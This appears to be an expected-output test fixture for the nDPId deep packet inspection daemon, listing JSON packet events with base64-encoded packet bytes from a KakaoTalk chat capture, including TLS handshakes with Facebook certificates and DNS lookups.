+00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":130,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":169409,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGGZNUAAjwaSLB8NRFQKGFK8AbuwmcDC+Nnamz+TgBgClQuqAAABAQgKopGXNwALCzoXAwMAKJruu5VbafH5sQRaWN1yXAIV2NGtD21PaTBD2ciGilS4h+QCr8Qyf28="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":130,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":131,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":170905,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzPkAAPwZIUQoYUrwfDURUsJkBu9qbP5PAwvjZgBAAyeqEAAABAQgKAAsLR6KRlzY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":131,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02096{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":132,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":203681,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSjeLUAAjwZIex8NREYKGFK8AbuqPWAZ05eKfXPJUBCjUo5yAAAWAwMAbgIAAGoDA6\/\/Ua4c\/Z49ONq5ISaENIdBubestbYRwJXDwjnGTSRlAMArAABCAAAAAP8BAAEAAAsABAMAAQIAIwAAM3QAKQ9zcGR5LzMuMS1mYi0wLjUIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xFgMDDNkLAAzVAAzSAAZwMIIGbDCCBVSgAwIBAgIQBnjbTdvaLb44isb+B0TcyDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE0MDgyODAwMDAwMFoXDTE1MTAyODEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5mYWNlYm9vay5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATY0d01veJZtvubH1QVjNu\/Tli9R764EPwi6dKemPhJKiX7lEbkQpmEUBxfAf0UJTFcTtlk\/cUMs0bSobxwtIeOo4ID5DCCA+AwHwYDVR0jBBgwFoAUUOpzidsp+xCPnuUBINTeeZlIg\/cwHQYDVR0OBBYEFEMJk0D6EUswM+zyh26NcRjPiryOMIICOwYDVR0RBIICMjCCAi6CDiouZmFjZWJvb2suY29tggxmYWNlYm9vay5jb22CCyouZmJzYnguY29tggsqLmZiY2RuLm5ldIIOKi54eC5mYmNkbi5uZXSCDioueHkuZmJjZG4ubmV0ggZmYi5jb22CCCouZmIuY29tghgqLmZhY2Vib29rY29yZXd3d2kub25pb26CFmZhY2Vib29rY29yZXd3d2kub25pb26CGCouZmJjZG4yM2Rzc3IzanFucS5vbmlvboIWZmJjZG4yM2Rzc3IzanFucS5vbmlvboIYKi5mYnNieDJxNG12Y2w2M3B3Lm9uaW9ughZmYnNieDJxNG12Y2w2M3B3Lm9uaW9ughAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDW1lc3Nlbmdlci5jb22CGioubS5mYWNlYm9va2NvcmV3d3dpLm9uaW9ughsqLnh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGXh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGyoueHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIZeHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIOKi54ei5mYmNkbi5uZXSCDHh6LmZiY2RuLm5ldIIbKi54ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughl4ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughhtLmZhY2Vib29rY29yZXd3d2kub25pb24wDgYDVR0PAQH\/BAQDAgOIMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0Lg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":132,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":133,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":204383,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAJ7eLkAAjwZNBB8NREYKGFK8AbuqPWAZ2JeKfXPJUBijUuZWAABjb20vY2EzLWcyOS5jcmwwQgYDVR0gBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":133,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":134,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":207587,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6rEAAPwYA\/QoYUrwfDURGqj0Bu4p9c8lgGdiXUBBBAMu8AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":134,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":135,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":207740,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6rUAAPwYA\/AoYUrwfDURGqj0Bu4p9c8lgGdkNUBBBAMtGAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":135,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":136,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":210486,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzP0AAPwZIUAoYUrwfDURUsJkBu9qbP5PAwvkGgBAAyepSAAABAQgKAAsLS6KRlzc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":136,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02100{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":137,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":220252,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSjeL0AAjwZIeR8NREYKGFK8AbuqPWAZ2Q2KfXPJUBCjUsrRAAAvL29jc3AuZGlnaWNlcnQuY29tMEUGCCsGAQUFBzAChjlodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlQ0EtMy5jcnQwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQUFAAOCAQEAf4TX3s1P66\/caXxbDQe2jnaKngcjwn0ZQ7fV9dU+wEYbO0+Zfe9lQD15+559ykP5zZBA0qyYS1oaVH4+rZibsq6wmVOQtkUvQcR4eU8yULsmSo\/cr\/4OSGnGOgMEc2Z4Wefjmy7XninHx7DzcSL3DSCQtRONEkd3DXfnLIB14XItylFUFoTE4JLmtQw3ZLEGNCUCqhp4w0dyqbrUH9NEGh03DZ\/YZXjlXfdkKOodBniivM67AoemiIEtxRtGh1OIUyl5p31y3Sb8ydj7isPIMP41385LjSnaQ3WZ\/KUmwXGWWD3yw5LQn4q4u5uMPUIkW4Gx6SkSJbJXYbAMHoYulAAGXDCCBlgwggVAoAMCAQICEApfEU0DWxeRF9Lv1AOMPzswDQYJKoZIhvcNAQEFBQAwbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2UgRVYgUm9vdCBDQTAeFw0wODA0MDIxMjAwMDBaFw0yMjA0MDMwMDAwMDBaMGYxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJTAjBgNVBAMTHERpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIENBLTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/YQopEB9e\/jQ3UQj4Hvsi7WG+Cw1wTFBjJnUVuUGIl7bwoBW7CGDgQugFKRCHNoooZajvMQd0bTaXLyhGZgTHKnkmepnVjsNtT6Berbw9kcJZe142bMBTzwAIMj4QZFgQE2nHDO6cQlEA+QVE7iTOeh\/tjBG9EqjzFfQcejFpARun5l3Ammx+CZ7nUkRKEDoj5Ju2A6+onLRbn9RLrZKMzrURKqo3GI20wrjYXAaM+P8jvTVe1Hw+foMOkZYFmMOyH+PIZeupe12gLMz8PNlt7cz6S0OMydS4pWEcskC2KBLfufhf\/tOyye89tB5LfBxMmTaePevsp2heHd9nbl77AgMBAAGjggL6MIIC9jAOBgNVHQ8BAf8EBAMCAYYwggHGBgNVHSAEggG9MIIBuTCCAbUGC2CGSAGG\/WwBAwACMIIBpDA6BggrBgEFBQcCARYuaHR0cDovL3d3dy5kaWdpY2VydC5jb20vc3NsLWNwcy1yZXBvc2l0b3J5Lmh0bTCCAWQGCCsGAQUFBwICMIIBVh6CAVIAQQBuAHkAIAB1AHMAZQAgAG8AZgAgAHQAaABpAHMAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABjAG8AbgBzAHQAaQB0AHUAdABlAHMAIABhAGMAYwBlAHAAdABhAG4AYwBlACAAbwBmACAAdABoAGUAIABEAGkAZwBpAEMAZQByAHQAIABDAFAALwBDAFAAUwAgAGEAbgBkACAAdABoAGUAIABSAA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":137,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01582{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":138,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":220923,"pkt_caplen":949,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":949,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA6XeMEAAjwZJ+x8NREYKGFK8AbuqPWAZ3g2KfXPJUBijUjWMAABlAGwAeQBpAG4AZwAgAFAAYQByAHQAeQAgAEEAZwByAGUAZQBtAGUAbgB0ACAAdwBoAGkAYwBoACAAbABpAG0AaQB0ACAAbABpAGEAYgBpAGwAaQB0AHkAIABhAG4AZAAgAGEAcgBlACAAaQBuAGMAbwByAHAAbwByAGEAdABlAGQAIABoAGUAcgBlAGkAbgAgAGIAeQAgAHIAZQBmAGUAcgBlAG4AYwBlAC4wEgYDVR0TAQH\/BAgwBgEB\/wIBADA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTCBjwYDVR0fBIGHMIGEMECgPqA8hjpodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB0GA1UdDgQWBBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zANBgkqhkiG9w0BAQUFAAOCAQEAHuKlSJ5s21M4D++mGiqs4gND7Zq8Po51G\/D9LiJZrBPAYeLn+umZzYcJdVQov0Zg3L5RLJLzG5F8MQhw4je5wVuovaMLAPsaFf0DrVhqxcckmUhHRjEeku+0X040x5C\/McH4sYSG0JwBqt+KVgbOOukOrpd0XddxmkJ0X96NQ3ze6VXtaQDLBeB6YWEz0RlN+QjuoDnFJTW3K8QPst3xpbcOJMQmKI15d\/Uv8Fe6fAfU4fzNWjBXfoYQR90xH9f8osK\/MHxdJKro+a5fanTCzmuzRtghvinUjl4V1kJK5zJvpLFrUYNYvj9tx\/vaAyHLahYZTgrwrYTKXZSzWnb3YRYDAwCUDAAAkAMAF0EEAnf\/MI5+jKoj2RjAXe7n+UOKFFv2nwCt5DQRSL\/ffuk0zKWw5j9DPoNRUaiV668HOp42y8u6+2feJyVsq1j2bwYDAEcwRQIgS9BdwFdYQuZNFXXSW1PFn+v5MIPRFbsAxT+bEy6eA5YCIQCqwUK6Q87Kr\/wKZ9Jsj1QH7DKouuKR6D8Od\/n5Y6QVJRYDAwAEDgAAAA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":138,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":139,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":221686,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAIDtrgAANREvLgq8AQEKGFK8ADUPsQBsjjKJ\/4GAAAEAAwAAAAAKZGV2ZWxvcGVycwhmYWNlYm9vawNjb20AAAEAAcAMAAUAAQAAA+oABwRzdGFywBfANQAFAAEAAAPqAAwEc3RhcgRjMTBywBfASAABAAEAAAAIAAQfDURU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":139,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":140,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":221839,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFdeb0AAjwYhX638YQIKGFK8AbuKr2AiuSH8GvEDUBikrNC2AAAUAwEAAQEWAwEAJHrKu96WFqu8nKeQH8cqwfCGUlLzB2z5FQYDCWsQCxSAAj1UjQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":140,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":141,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":224372,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6rkAAPwYA+woYUrwfDURGqj0Bu4p9c8lgGd4NUBBLALxGAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":141,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":142,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":224524,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6r0AAPwYA+goYUrwfDURGqj0Bu4p9c8lgGeGKUBBVAK7JAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":142,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":143,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":224646,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmwEAAPwbpPAoYUryt\/GECiq8Bu\/wa8QNgIrlQUBBVAFwFAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":143,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00417{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":144,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":230994,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEcAAEAAQBHSFQoYUrwKvAEBOToANQAzWvOyogEAAAEAAAAAAAABMgI5NwMyNTIDMTczB2luLWFkZHIEYXJwYQAADAAB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":144,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01726{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":145,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":236731,"pkt_caplen":1053,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1053,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUABA16sEAAPwb9EwoYUrwfDURGqj0Bu4p9c8lgGeGKUBhVAI3tAAAWAwMARhAAAEJBBD2hR1ZxSpq\/s2bE\/jEuVnHZhLsOfXDeW8kA5Vf7lk9JzGTsKpqTz8WcksKfffMvnDRskqK2mDmAm0lNTEbtVsUUAwMAAQEWAwMAPDgatczmcEzE+jBZypW7PvgvPfOYO3SnL4HX\/HbuPNa4Ou2KRWwdFRkakJ+FOn7WvKfMRb1s4C3UMd\/UwhYDAwAoOBq1zOZwTMXQ4JIUcIi0BL3fDVH2BZhsR2W2hrP9cDDIppHu4MM6uxcDAwMhOBq1zOZwTMaJo5seZy5725DDkdN6vFi40cW56kBpjWhZIhTaflCGbAf7jvOuihh+BI\/IOe\/yA9nVbXeJaLGnftSgB00+D+OilsDAoKyLtHxaKhLxH5JwurOk7ZcaHUYvO33rP4ph0CKrAObpqGfBLmD8yxRunBcVPimHXmeRx\/JvQ3gSLxFHw46iVFEgvk57HnAdKl0UpJnQLqeLdbxepSBOwvEyzL2En5zxYzhx1fAxCHQopLPF5GyhBoFvanULTIEm6pPDSeg7wg8Pc7aq7Fkr6ZJOQ8E4ixAkYEzCQfoyoaYEKbQ0biaQLxljr43RJa\/eLFMIAE9c8Hb1XB6\/MXeEi4ha7O3t+7HOdoRA2ky3OOuPNUH5aod8qNn03NFZR0LPQ5XsIVEz+r1rvpsa6EmM5oDIbCKfilvML1vufSR\/42\/CzbR6QpYEXousSC22JJwtv1p3kiioQqV7fYAEtgLuEjNNkwcOU7L139H5kPiOSBQnhGfjrfEvBOZxMRQ2Z3QK9BVMpjI7OaVAgEDrhQC5Q1+uRF2uCOOajPmgHvOKP1Gs8tvTmims1NOW7lfwLEGzEciEmeJ41uXtHGzUlHbMY7r6pEwXuUrGfALOAVMBo8GgRzFLm1FTOUJkFiGUhihPSZaBelN+sQEtwTxQs8CrOGld40GUtQPxYlfOYQ27WComeVqvuCn4lCwfsbcANeFlAomWyAujVoFS7fdjWKxauy5b86PRe0tGVNtfgTRca7y4uIe+D7ze\/fWoHGqBMkDWn6v4Dngwgl8QZDc6PRAYq0fZxoNWqk9rdGCRPCj8iQi2WiDGjEskePU1dWhd1GZJ+OKe52ePGBbf3Zx0PA2GkYC\/q\/1YteAS9Cvqj2c3m5XOUY5lgT1TPE7vKAcTT7exl+T1rNy4kumHQrXEYtm0IhwVqrMfj2UPgpt4qk7Zzaxl9aOBRJjW7GjsMTifs35uWXCubklLcnXB4Xe7WXqaEPNpj5Se3baN95\/XTIQmTa\/4QeS8EBc0nGYLybSUATF2T5daX0VirdX75zqNMnnOIx2SFD\/gRp2DkreMIkNN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":145,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":146,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":236945,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADxjDkAAPwYYeQoYUrwfDURUsJsBu8tPaEMAAAAAoAI5CF29AAACBAV4BAIICgALC00AAAAAAQMDBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":146,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":147,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":281714,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAHLtrwAANREvOwq8AQEKGFK8ADU5OgBeI2eyooGAAAEAAQAAAAABMgI5NwMyNTIDMTczB2luLWFkZHIEYXJwYQAADAABwAwADAABAAAEYQAfEG1xdHQtc2h2LTE0LWZyYzEIZmFjZWJvb2sDY29tAA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":147,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":148,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":281867,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACw2WEAA+AaMPh8NRFQKGFK8Abuwm2JwnlDLT2hEYBIRHOBVAAACBAV4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":148,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":149,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":284186,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjD0AAPwYYjAoYUrwfDURUsJsBu8tPaERicJ5RUBA5CM\/qAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":149,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01146{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":150,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":286444,"pkt_caplen":626,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":626,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAmJjEEAAPwYWUQoYUrwfDURUsJsBu8tPaERicJ5RUBg5CFQRAAAWAwECNQEAAjEDA12sDwIlRYC4S\/u\/dLxpbC6fU+Gnpw4b5dMA4lzwGxvDIALfpkN5Ks6\/c20IdWd3iDdbXn8wiPGMx1jMuQOUjsRtAJbAMMAswCjAJMAUwAoApQCjAKEAnwBrAGoAaQBoADkAOAA3ADbAMsAuwCrAJsAPwAUAnQA9ADXAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADDAMcAtwCnAJcAOwAQAnAA8AC\/AEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAFSAAAAHAAaAAAXZGV2ZWxvcGVycy5mYWNlYm9vay5jb20ACwAEAwABAgAKADoAOAAOAA0AGQAcAAsADAAbABgACQAKABoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAARACMAwCnSYkR7dyZSlmb2OdeQwfPHqvffGwuUL3PG+4Ewg5bwNedBkyV9v8C8pmhV4nqSLTQbulzvcpBBfLcpfQowvk79MtWhUv2WuTp5rwjXPWPci4lxJKzgph0ts51Py\/3dLrTAZ0QTg1HN7u4u1p3C80B86yaPTNKffxSBZsLfL4fUayH2i9ace\/qM96Tac8qFgVAl24B\/JZxcKhjC1EOsRIlPerZpBoaXHxVbVixsGvq98+nTjVWCnQKrtJcwlv25jQANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAzN0AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":150,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":151,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":288153,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjeMUAAjgZOdx8NREYKGFK8AbuqPWAZ4YqKfXeuUBCjUlySAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":151,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 